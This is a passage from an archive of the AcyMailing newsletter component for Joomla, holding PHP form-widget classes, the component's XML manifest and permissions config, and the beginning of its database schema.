			$this->values[] = acymailing_selectOption('', acymailing_translation('DEFAULT_LANGUAGE'));
			foreach($langActive as $oneLanguage){
				$this->values[] = acymailing_selectOption($oneLanguage->lang_code.', '.$oneLanguage->lang_id, $oneLanguage->title);
			}
			$this->found = true;
		}

		if(ACYMAILING_J16){
			$this->languages = acymailing_getLanguages(true);
			$this->multilingue = (count($this->languages) > 1);
		}
	}

	function display($map, $value = ''){
		if(empty($this->values)) return '';
		return acymailing_select($this->values, $map, 'size="1" style="max-width:150px" '.$this->onclick, 'value', 'text', $value, $this->id);
	}

	function displayJLanguages($map, $value = ''){
		if(!ACYMAILING_J16 || !$this->multilingue) return '';

		$default = new stdClass();
		$default->name = ' - - - ';
		$default->sef = '';
		$default->language = '';

		array_unshift($this->languages, $default);

		return acymailing_select($this->languages, $map, 'size="1" style="width:150px;" '.$this->onclick, $this->sef ? 'sef' : 'language', 'name', $value, $this->jid);
	}
}
com_acymailing/types/categoryfield.php000060400000004355152455305300014222 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class categoryfieldType extends acymailingClass{
	function display($table, $map, $previous){
		$allCats = acymailing_loadObjectList('SELECT DISTINCT category FROM `#__acymailing_'.$table.'` WHERE category NOT LIKE "" ORDER BY category');
		$possibleCats = array();
		$possibleCats[] = acymailing_selectOption('', '- - -');
		$possibleCats[] = acymailing_selectOption('-1', acymailing_translation('ACY_NEW_CATEGORY'));
		if(!empty($allCats)){
			$separator = acymailing_selectOption('-1', '-----------------------------------------');
			$separator->disable = true;
			$possibleCats[] = $separator;
			foreach($allCats as &$oneCat){
				$oneCat->category = htmlspecialchars($oneCat->category);
				$possibleCats[] = acymailing_selectOption($oneCat->category, $oneCat->category);
			}
		}

		$result = acymailing_select($possibleCats, $map, 'onchange="if(this.value == -1){document.getElementById(\'newcategory\').style.display = \'\';}else{document.getElementById(\'newcategory\').style.display = \'none\';}" size="1" style="width:208px;font-size:12px;"', 'value', 'text', htmlspecialchars($previous));
		$result .= '<input type="text" id="newcategory" name="newcategory" class="inputbox" style="display:none;width:200px;"/>';

		return $result;
	}

	function getFilter($table, $map, $previous, $js = ''){
		$allCats = acymailing_loadObjectList('SELECT DISTINCT category FROM '.acymailing_table($table).' WHERE category NOT LIKE "" ORDER BY category');
		$possibleCats = array();
		$possibleCats[] = acymailing_selectOption(0, acymailing_translation('ACY_ALL_CATEGORIES'));
		$catExists = empty($previous);
		if(!empty($allCats)){
			foreach($allCats as &$oneCat){
				$possibleCats[] = acymailing_selectOption($oneCat->category, $oneCat->category);
				if(!$catExists && $oneCat->category == $previous) $catExists = true;
			}
		}
		if(!$catExists) $possibleCats[] = acymailing_selectOption($previous, $previous);

		return acymailing_select($possibleCats, $map, 'size="1"'.$js, 'value', 'text', $previous);
	}
}
com_acymailing/types/unsub.php000060400000004306152455305300012531 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class unsubType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$messages = acymailing_loadObjectList('SELECT `subject`, `mailid` FROM '.acymailing_table('mail').' WHERE `type`= \'unsub\'');

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('NO_UNSUB_MESSAGE'));
		foreach($messages as $oneMessage){
			$this->values[] = acymailing_selectOption($oneMessage->mailid, '['.acymailing_translation('ACY_ID').' '.$oneMessage->mailid.'] '.$oneMessage->subject);
		}

		$js = "function changeMessage(idField,value){
			linkEdit = idField+'_edit';
			if(value>0){
				window.document.getElementById(linkEdit).onclick = function(){acymailing.openpopup('".acymailing_completeLink((acymailing_isAdmin() ? '' : 'front')."email&task=edit", true, true)."&mailid='+value, 800, 500);return false;};
				window.document.getElementById(linkEdit).style.display = 'inline';
			}else{
				window.document.getElementById(linkEdit).style.display = 'none';
			}
		}";
		acymailing_addScript(true, $js);

	}

	function display($value){
		$linkEdit = acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'email', true).'&amp;task=edit&amp;type=unsub&amp;mailid='.$value;
		$linkAdd = acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'email', true).'&amp;task=add&amp;type=unsub';
		$style = empty($value) ? 'style="display:none!important;"' : '';
		$text = acymailing_popup($linkEdit, '<img src="'.ACYMAILING_IMAGES.'icons/icon-16-edit.png" alt="'.acymailing_translation('EDIT_EMAIL',true).'"/>', '', 0, 500, 'unsub_edit', $style);
		$text .= acymailing_popup($linkAdd, '<img src="'.ACYMAILING_IMAGES.'icons/icon-16-add.png" alt="'.acymailing_translation('CREATE_EMAIL',true).'"/>', '', 0, 500, 'unsub_add');

		return acymailing_select($this->values, 'data[list][unsubmailid]', 'class="inputbox" size="1" onchange="changeMessage(\'unsub\',this.value);"', 'value', 'text', (int) $value ).$text;
	}
}
com_acymailing/types/listcreator.php000060400000002311152455305300013722 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.0.1
 * @author	acyba.com
 * @copyright	(C) 2009-2015 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class listcreatorType{
	function listcreatorType(){

		$db = JFactory::getDBO();

		$db->setQuery('SELECT COUNT(*) as total,userid FROM #__acymailing_list WHERE `type` = "list" AND `userid` > 0 GROUP BY userid');
		$allusers = $db->loadObjectList('userid');

		$allnames = array();
		if(!empty($allusers)){
			$db->setQuery('SELECT name,id FROM #__users WHERE id IN ('.implode(',',array_keys($allusers)).') ORDER BY name ASC');
			$allnames = $db->loadObjectList('id');
		}

		$this->values = array();
		$this->values[] = JHTML::_('select.option', '0', JText::_('ALL_CREATORS') );
		foreach($allnames as $userid => $oneCreator){
			$this->values[] = JHTML::_('select.option', $userid, $oneCreator->name.' ( '.$allusers[$userid]->total.' )' );
		}
	}

	function display($map,$value){
		return JHTML::_('select.genericlist',   $this->values, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/contentorder.php000060400000002155152455305300014103 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	4.9.3
 * @author	acyba.com
 * @copyright	(C) 2009-2015 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class contentorderType{
	var $onclick = 'updateTag();';
	function contentorderType(){
		$this->values = array();
		$this->values[] = JHTML::_('select.option', "|order:id,DESC",JText::_('ACY_ID'));
		$this->values[] = JHTML::_('select.option', "|order:ordering,ASC",JText::_('ACY_ORDERING'));
		$this->values[] = JHTML::_('select.option', "|order:created,DESC",JText::_('CREATED_DATE'));
		$this->values[] = JHTML::_('select.option', "|order:modified,DESC",JText::_('MODIFIED_DATE'));
		$this->values[] = JHTML::_('select.option', "|order:title,ASC",JText::_('FIELD_TITLE'));
		$this->values[] = JHTML::_('select.option', "|order:rand",JText::_('ACY_RANDOM'));
	}

	function display($map,$value){
		return JHTML::_('select.genericlist', $this->values, $map , 'size="1" style="width:150px;" onchange="'.$this->onclick.'"', 'value', 'text', (string) $value);
	}

}
com_acymailing/types/festatus.php000060400000001604152455305300013231 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class festatusType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[0] = acymailing_selectOption('-1', acymailing_translation('JOOMEXT_NO'));
		$this->values[1] = acymailing_selectOption('1', acymailing_translation('JOOMEXT_YES'));
		$this->values[0]->class = 'btn-danger';
		$this->values[1]->class = 'btn-success';
	}

	function display($map,$value){
		static $i = 0;
		$value = (int) $value;
		$value = ($value >= 1) ? 1 : -1;
		return acymailing_radio($this->values, $map , 'class="radiobox" size="1"', 'value', 'text', (int) $value,'status'.$i++);
	}

}
com_acymailing/types/filetree.php000060400000010360152455305300013171 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class filetreeType extends acymailingClass{
	public function display($folders, $currentFolder, $nameInput, $onclickCallBack){
		$tree = array();
		foreach($folders as $root => $children){
			$tree = array_merge($tree, $this->_searchChildren($children, $root));
		}
		echo '<div id="displaytree"><input style="margin:0; cursor:pointer; float: left; height: 20px;" disabled type="text" name="currentPath" id="currentPath" value="'.$currentFolder.'">';
		echo '<button style="margin:0; min-height: 24px;" class="btn"><i class="acyicon-tree"></i></button></div>';
		echo '<div style="display:none" class="tree" id="treefile">'.$this->_displayTree($tree, $currentFolder).'</div>';
		echo '<input type="hidden" name="'.$nameInput.'" id="'.$nameInput.'" value="'.$currentFolder.'">';
		$this->_treeBehavior($nameInput, $onclickCallBack);
	}

	private function _treeBehavior($idHiddenSelected, $onclickCallBack){
		$script = "
		var buttonDisplay = document.getElementById('displaytree');
		buttonDisplay.addEventListener('click', function(event){
			event.preventDefault();
			event.stopPropagation();
			var tree = document.getElementById('treefile');
			tree.style.display = (tree.style.display == 'block') ? 'none' : 'block';
		});

		var items = document.getElementsByClassName('tree-icon');
		for(var i = 0; i < items.length; i++) {
			var item = items[i];
			item.addEventListener('click', function(event) {
				event.preventDefault();
				event.stopPropagation();

				var input = document.getElementById('".$idHiddenSelected."');
				input.value = this.parentNode.dataset.path;

				if(this.parentNode.className.indexOf('tree-closed') != -1) {
					var foldericon = this.getElementsByClassName('acyicon-folder')[0];
					foldericon.className = foldericon.className.replace('acyicon-folder', 'acyicon-folderopen');
					this.parentNode.className = this.parentNode.className.replace('tree-closed', '');
				} else {
					var foldericon = this.getElementsByClassName('acyicon-folderopen')[0];
					foldericon.className = foldericon.className.replace('acyicon-folderopen', 'acyicon-folder');
					this.parentNode.className += ' tree-closed';
				}
			});
		}

		var links = document.getElementsByClassName('tree-child-title');
		for(var i = 0; i < links.length; i++) {
			var link = links[i];
			link.addEventListener('click', function(event) {
				event.preventDefault();
				event.stopPropagation();

				var path = this.parentNode.dataset.path;

				var input = document.getElementById('".$idHiddenSelected."');
				input.value = path;

				input = document.getElementById('currentPath');
				input.value = path;
				".$onclickCallBack."
			});
		}
		";

		echo '<script type="text/javascript">window.addEventListener("load", function() {'.$script.'})</script>';
	}

	private function _searchChildren($folders, $root){
		$tree = array();
		$tree[$root] = array();

		foreach($folders as $folder){
			$folder = trim(str_replace($root, '', $folder), '/\\');
			if(empty($folder)) continue;

			$pathParts = explode('/', $folder);
			$variable = &$tree[$root];
			foreach($pathParts as $pathPart){
				if(empty($variable[$pathPart])) $variable[$pathPart] = array();
				$variable = &$variable[$pathPart];
			}
		}
		return $tree;
	}

	private function _displayTree($tree, $pathValue, $path = ''){
		$results = '';
		$results .= '<ul>';
		foreach($tree as $key => $treeItem){
			$currentPath = (empty($path)) ? $key : $path.'/'.$key;
			if(strpos($pathValue, $currentPath) !== false){
				$extraClass = ($pathValue == $currentPath) ? 'tree-current' : '';
				$icon = 'acyicon-folderopen';
			}else{
				$extraClass = 'tree-closed';
				$icon = 'acyicon-folder';
			}

			if(empty($treeItem)){
				$extraClass .= ' tree-empty';
			}

			$subTree = $this->_displayTree($treeItem, $pathValue, $currentPath);
			$results .= '<li class="tree-child-item '.$extraClass.'" data-path="'.$currentPath.'"><span class="tree-icon"><i class="'.$icon.'"></i></span><span class="tree-child-title">'.$key.'</span>'.$subTree.'</li>';
		}
		$results .= '</ul>';

		return $results;
	}
}
com_acymailing/types/titlelink.php000060400000001434152455305300013373 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class titlelinkType extends acymailingClass{
	var $onclick="updateTag();";

	function __construct(){
		parent::__construct();
		$this->values = array();
		$this->values[] = acymailing_selectOption("|link", acymailing_translation('JOOMEXT_YES'));
		$this->values[] = acymailing_selectOption("", acymailing_translation('JOOMEXT_NO'));

	}

	function display($map,$value){
		if(empty($value)) $value = '';
		return acymailing_radio($this->values, $map , 'size="1" onclick="'.$this->onclick.'"', 'value', 'text', $value);
	}

}
com_acymailing/types/delaydisp.php000060400000001655152455305300013357 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class delaydispType extends acymailingClass{

	function display($value){

		if(empty($value)) return 0;

		$type = 'ACY_SECONDS';

		if($value >= 60  AND $value%60 == 0){
			$value = (int) $value / 60;
			$type = 'ACY_MINUTES';
			if($value >=60 AND $value%60 == 0){
				$type = 'HOURS';
				$value = $value/ 60;
				if($value >=24 AND $value%24 == 0){
					$type = 'DAYS';
					$value = $value / 24;
					if($value >= 30 AND $value%30 == 0){
						$type = 'MONTHS';
						$value = $value / 30;
					}elseif($value >=7 AND $value%7 == 0){
						$type = 'WEEKS';
						$value = $value / 7;
					}
				}
			}
		}

		return $value.' '.acymailing_translation($type);
	}

}
com_acymailing/types/queuemail.php000060400000002322152455305300013360 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class queuemailType extends acymailingClass{
	function __construct(){
		parent::__construct();
		$allmails = acymailing_loadObjectList('SELECT COUNT(*) as total, mailid FROM #__acymailing_queue GROUP BY mailid', 'mailid');

		$subjects = array();
		if(!empty($allmails)){
			$subjects = acymailing_loadObjectList('SELECT mailid,subject FROM #__acymailing_mail WHERE mailid IN ('.implode(',',array_keys($allmails)).') ORDER BY subject ASC', 'mailid');
		}

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_EMAILS'));
		foreach($subjects as $mailid => $oneMail){
			$this->values[] = acymailing_selectOption($mailid, $oneMail->subject.' ( '.$allmails[$mailid]->total.' )' );
		}
	}

	function display($map,$value){
		return acymailing_select(  $this->values, $map, 'class="inputbox" style="max-width:600px;width:auto;" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/types/lists.php000060400000003453152455305300012535 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listsType extends acymailingClass{
	function __construct(){
		parent::__construct();

		$listClass = acymailing_get('class.list');
		$this->data = $listClass->getLists('listid');
	}

	function display($map, $value, $js = true, $clickableCategories = false){
		if(empty($this->values)) $this->getValues($clickableCategories);
		$onchange = $js ? 'onchange="document.adminForm.limitstart.value=0;document.adminForm.submit();"' : '';
		return acymailing_select($this->values, $map, 'class="inputbox" style="max-width:220px" size="1" '.$onchange, 'value', 'text', $value, str_replace(array('[', ']'), array('_', ''), $map));
	}

	function getData(){
		return $this->data;
	}

	function getValues($clickableCategories = false){
		$allCats = array();
		foreach($this->data as $oneList){
			if(empty($oneList->category)) $oneList->category = acymailing_translation('ACY_NO_CATEGORY');
			$allCats[$oneList->category][] = $oneList->listid;
		}

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_LISTS'));
		foreach($allCats as $name => $lists){
			if($clickableCategories){
				$this->values[] = acymailing_selectOption(implode(',', $lists).',', $name);
			}else{
				$this->values[] = acymailing_selectOption('<OPTGROUP>', $name);
			}

			foreach($lists as $listId){
				$this->values[] = acymailing_selectOption($listId, (count($allCats) > 1 ? ' - - ' : '').$this->data[$listId]->name);
			}

			if(!$clickableCategories) $msgType[] = acymailing_selectOption('</OPTGROUP>');
		}
		return $this->values;
	}
}
com_acymailing/types/uploadfile.php000060400000002675152455305300013530 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class uploadfileType extends acymailingClass{
	function display($picture, $map, $value, $mapdelete = ''){
		if(!$picture){
			$result = '<input type="hidden" name="'.$map.'[]" id="'.$map.$value.'" />';
			$result .= acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'file', true).'&task=select&id='.$map.$value, acymailing_translation('SELECT'), 'acyupload acymailing_button_grey', 850, 600);
			$result .= '<span id="'.$map.$value.'selection"></span>';
			return $result;
		}

		$result = '<input type="hidden" name="'.$mapdelete.'" id="'.$map.'" />';
		$result .= acymailing_popup(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'file', true).'&task=select&id='.$map, acymailing_translation('SELECT'), 'acyupload acymailing_button_grey', 850, 600);

		if(empty($value)) $value = ACYMAILING_MEDIA_FOLDER.'/images/emptyimg.png';
		$result .= '<img id="'.$map.'preview" src="'.ACYMAILING_LIVE.$value.'" style="float:left;max-height:50px;margin-right:10px;" />
		<br /><input type="checkbox" name="'.$mapdelete.'" value="delete" id="delete'.$map.'" /> <label for="delete'.$map.'">'.acymailing_translation('DELETE_PICT').'</label>';

		return $result;
	}
}
com_acymailing/types/listsmail.php000060400000002533152455305300013376 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listsmailType extends acymailingClass{
	var $type = 'news';

	function load(){
		$query = 'SELECT a.listid as listid,COUNT(a.mailid) as total FROM `#__acymailing_mail` as c';
		$query .= ' JOIN `#__acymailing_listmail` as a ON a.mailid = c.mailid';
		$query .= ' WHERE c.type = \''.$this->type.'\' GROUP BY a.listid';
		$alllists = acymailing_loadObjectList($query, 'listid');

		$allnames = array();
		if(!empty($alllists)){
			$allnames = acymailing_loadObjectList('SELECT name,listid FROM `#__acymailing_list` WHERE listid IN ('.implode(',',array_keys($alllists)).') ORDER BY ordering ASC', 'listid');
		}

		$this->values = array();
		$this->values[] = acymailing_selectOption('0', acymailing_translation('ALL_LISTS'));
		foreach($allnames as $listid => $oneName){
			$this->values[] = acymailing_selectOption($listid, $oneName->name.' ( '.$alllists[$listid]->total.' )' );
		}
	}

	function display($map,$value){
		$this->load();
		return acymailing_select(  $this->values, $map, 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int) $value );
	}
}
com_acymailing/acymailing.xml000060400000005636152455305300012366 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.0" method="upgrade">
	<name>AcyMailing</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<level>starter</level>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved.</copyright>
	<description>Manage your Mailing lists, Newsletters, e-mail marketing campaigns</description>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<languages folder="language">
		<language tag="en-GB">en-GB.com_acymailing.ini</language>
	</languages>
	<install>
		<sql>
			<file driver="mysql">tables.sql</file>
			<file driver="mysql" charset="utf8">tables.sql</file>
			<file driver="mysqli">tables.sql</file>
			<file driver="mysqli" charset="utf8">tables.sql</file>
		</sql>
	</install>
	<scriptfile>install.joomla.php</scriptfile>
	<files folder="front">
		<folder>controllers</folder>
		<folder>inc</folder>
		<folder>params</folder>
		<folder>sef_ext</folder>
		<folder>views</folder>
		<filename>acymailing.php</filename>
		<filename>index.html</filename>
		<filename>router.php</filename>
	</files>
	<media folder="media" destination="com_acymailing">
		<folder>css</folder>
		<folder>images</folder>
		<folder>js</folder>
		<folder>templates</folder>
		<filename>index.html</filename>
	</media>
	<administration>
		<files folder="back">
			<folder>classes</folder>
			<folder>controllers</folder>
			<folder>compat</folder>
			<folder>extensions</folder>
			<folder>helpers</folder>
			<folder>logs</folder>
			<folder>types</folder>
			<folder>views</folder>
			<filename>acymailing.php</filename>
			<filename>config.xml</filename>
			<filename>index.html</filename>
			<filename>tables.sql</filename>
		</files>
		<menu img="../media/com_acymailing/images/icons/icon-16-acymailing.png" link="option=com_acymailing">AcyMailing</menu>
		<submenu>
			<menu link="option=com_acymailing&amp;ctrl=subscriber" img="../media/com_acymailing/images/icons/icon-16-users.png">Users</menu>
			<menu link="option=com_acymailing&amp;ctrl=list" img="../media/com_acymailing/images/icons/icon-16-acylist.png">Lists</menu>
			<menu link="option=com_acymailing&amp;ctrl=newsletter" img="../media/com_acymailing/images/icons/icon-16-newsletter.png">Newsletters</menu>
			<menu link="option=com_acymailing&amp;ctrl=template" img="../media/com_acymailing/images/icons/icon-16-acytemplate.png">Templates</menu>
			<menu link="option=com_acymailing&amp;ctrl=queue" img="../media/com_acymailing/images/icons/icon-16-process.png">Queue</menu>
			<menu link="option=com_acymailing&amp;ctrl=stats" img="../media/com_acymailing/images/icons/icon-16-stats.png">Statistics</menu>
			<menu link="option=com_acymailing&amp;ctrl=cpanel" img="../media/com_acymailing/images/icons/icon-16-acyconfig.png">Configuration</menu>
		</submenu>
	</administration>
</extension>
com_acymailing/config.xml000060400000001005152455305300011500 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<config>
	<fieldset name="permissions" label="JCONFIG_PERMISSIONS_LABEL" description="JCONFIG_PERMISSIONS_DESC">
		<field name="rules" type="rules" label="JCONFIG_PERMISSIONS_LABEL" filter="rules" component="com_acymailing" section="component">
			<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
			<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		</field>
	</fieldset>
</config>

com_acymailing/tables.sql000060400000033343152455305300011516 0ustar00CREATE TABLE IF NOT EXISTS `#__acymailing_config` (
	`namekey` varchar(200) NOT NULL,
	`value` text,
	PRIMARY KEY (`namekey`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_fields` (
	`fieldid` smallint unsigned NOT NULL AUTO_INCREMENT,
	`fieldname` varchar(250) NOT NULL,
	`namekey` varchar(50) NOT NULL,
	`type` varchar(50) DEFAULT NULL,
	`value` text NOT NULL,
	`published` tinyint unsigned NOT NULL DEFAULT '1',
	`ordering` smallint unsigned DEFAULT '99',
	`options` text,
	`core` tinyint unsigned NOT NULL DEFAULT '0',
	`required` tinyint unsigned NOT NULL DEFAULT '0',
	`backend` tinyint unsigned NOT NULL DEFAULT '1',
	`frontcomp` tinyint unsigned NOT NULL DEFAULT '0',
	`frontform` tinyint unsigned NOT NULL DEFAULT '1',
	`default` longtext DEFAULT NULL,
	`listing` tinyint unsigned DEFAULT NULL,
	`frontlisting` tinyint unsigned NOT NULL DEFAULT '0',
	`frontjoomlaprofile` tinyint unsigned NOT NULL DEFAULT '0',
	`frontjoomlaregistration` tinyint unsigned NOT NULL DEFAULT '0',
	`joomlaprofile` tinyint unsigned NOT NULL DEFAULT '0',
	`access` varchar(250) NOT NULL DEFAULT 'all',
	`fieldcat` int(11) NOT NULL DEFAULT '0',
	`listingfilter` tinyint unsigned NOT NULL DEFAULT '0',
	`frontlistingfilter` tinyint unsigned NOT NULL DEFAULT '0',
	PRIMARY KEY (`fieldid`),
	UNIQUE KEY `namekey` (`namekey`),
	KEY `orderingindex` (`published`,`ordering`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_filter` (
	`filid` mediumint unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(250) DEFAULT NULL,
	`description` text,
	`published` tinyint unsigned DEFAULT NULL,
	`lasttime` int unsigned DEFAULT NULL,
	`trigger` text,
	`report` text,
	`action` text,
	`filter` text,
	`daycron` int unsigned,
	PRIMARY KEY (`filid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_history` (
	`subid` int unsigned NOT NULL,
	`date` int unsigned NOT NULL,
	`ip` varchar(50) DEFAULT NULL,
	`action` varchar(50) NOT NULL COMMENT 'different actions: created,modified,confirmed',
	`data` text,
	`source` text,
	`mailid` mediumint unsigned DEFAULT NULL,
	PRIMARY KEY `subid` (`subid`,`date`),
	KEY `dateindex` (`date`),
	KEY `actionindex` (`action`,`mailid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_list` (
	`name` varchar(250) NOT NULL,
	`description` text,
	`ordering` smallint unsigned NULL DEFAULT '0',
	`listid` smallint unsigned NOT NULL AUTO_INCREMENT,
	`published` tinyint DEFAULT NULL,
	`userid` int unsigned DEFAULT NULL,
	`alias` varchar(250) DEFAULT NULL,
	`color` varchar(30) DEFAULT NULL,
	`visible` tinyint NOT NULL DEFAULT '1',
	`welmailid` mediumint DEFAULT NULL,
	`unsubmailid` mediumint DEFAULT NULL,
	`type` enum('list','campaign') NOT NULL DEFAULT 'list',
	`access_sub` varchar(250) NOT NULL DEFAULT 'all',
	`access_manage` varchar(250) NOT NULL DEFAULT 'none',
	`languages` varchar(250) NOT NULL DEFAULT 'all',
	`startrule` varchar(50) NOT NULL DEFAULT '0',
	`category` varchar(250) NOT NULL DEFAULT '',
	PRIMARY KEY (`listid`),
	KEY `typeorderingindex` (`type`,`ordering`),
	KEY `useridindex` (`userid`),
	KEY `typeuseridindex` (`type`,`userid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_listcampaign` (
	`campaignid` smallint unsigned NOT NULL,
	`listid` smallint unsigned NOT NULL,
	PRIMARY KEY (`campaignid`,`listid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_listmail` (
	`listid` smallint unsigned NOT NULL,
	`mailid` mediumint unsigned NOT NULL,
	PRIMARY KEY (`listid`,`mailid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_listsub` (
	`listid` smallint unsigned NOT NULL,
	`subid` int unsigned NOT NULL,
	`subdate` int unsigned DEFAULT NULL,
	`unsubdate` int unsigned DEFAULT NULL,
	`status` tinyint NOT NULL,
	PRIMARY KEY (`listid`,`subid`),
	KEY `subidindex` (`subid`),
	KEY `listidstatusindex` (`listid`,`status`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_mail` (
	`mailid` mediumint unsigned NOT NULL AUTO_INCREMENT,
	`subject` varchar(250) NOT NULL,
	`body` longtext NOT NULL,
	`altbody` longtext NOT NULL,
	`published` tinyint DEFAULT '1',
	`senddate` int unsigned DEFAULT NULL,
	`created` int unsigned DEFAULT NULL,
	`lastupdate` int unsigned DEFAULT NULL,
	`userlastupdate` int unsigned DEFAULT NULL,
	`fromname` varchar(250) DEFAULT NULL,
	`fromemail` varchar(250) DEFAULT NULL,
	`replyname` varchar(250) DEFAULT NULL,
	`replyemail` varchar(250) DEFAULT NULL,
	`bccaddresses` varchar(250) DEFAULT NULL,
	`type` enum('news','autonews','followup','unsub','welcome','notification','joomlanotification','action', 'article') NOT NULL DEFAULT 'news',
	`visible` tinyint NOT NULL DEFAULT '1',
	`userid` int unsigned DEFAULT NULL,
	`alias` varchar(250) DEFAULT NULL,
	`attach` text,
	`favicon` text,
	`html` tinyint NOT NULL DEFAULT '1',
	`tempid` smallint NOT NULL DEFAULT '0',
	`key` varchar(200) DEFAULT NULL,
	`frequency` varchar(50) DEFAULT NULL,
	`params` text,
	`sentby` int unsigned DEFAULT NULL,
	`metakey` text,
	`metadesc` text,
	`filter` text,
	`language` varchar(50) NOT NULL DEFAULT '',
	`abtesting` varchar(250) DEFAULT NULL,
	`thumb` varchar(250) DEFAULT NULL,
	`summary` text NOT NULL,
	PRIMARY KEY (`mailid`),
	KEY `senddate` (`senddate`),
	KEY `typemailidindex` (`type`,`mailid`),
	KEY `useridindex` (`userid`)
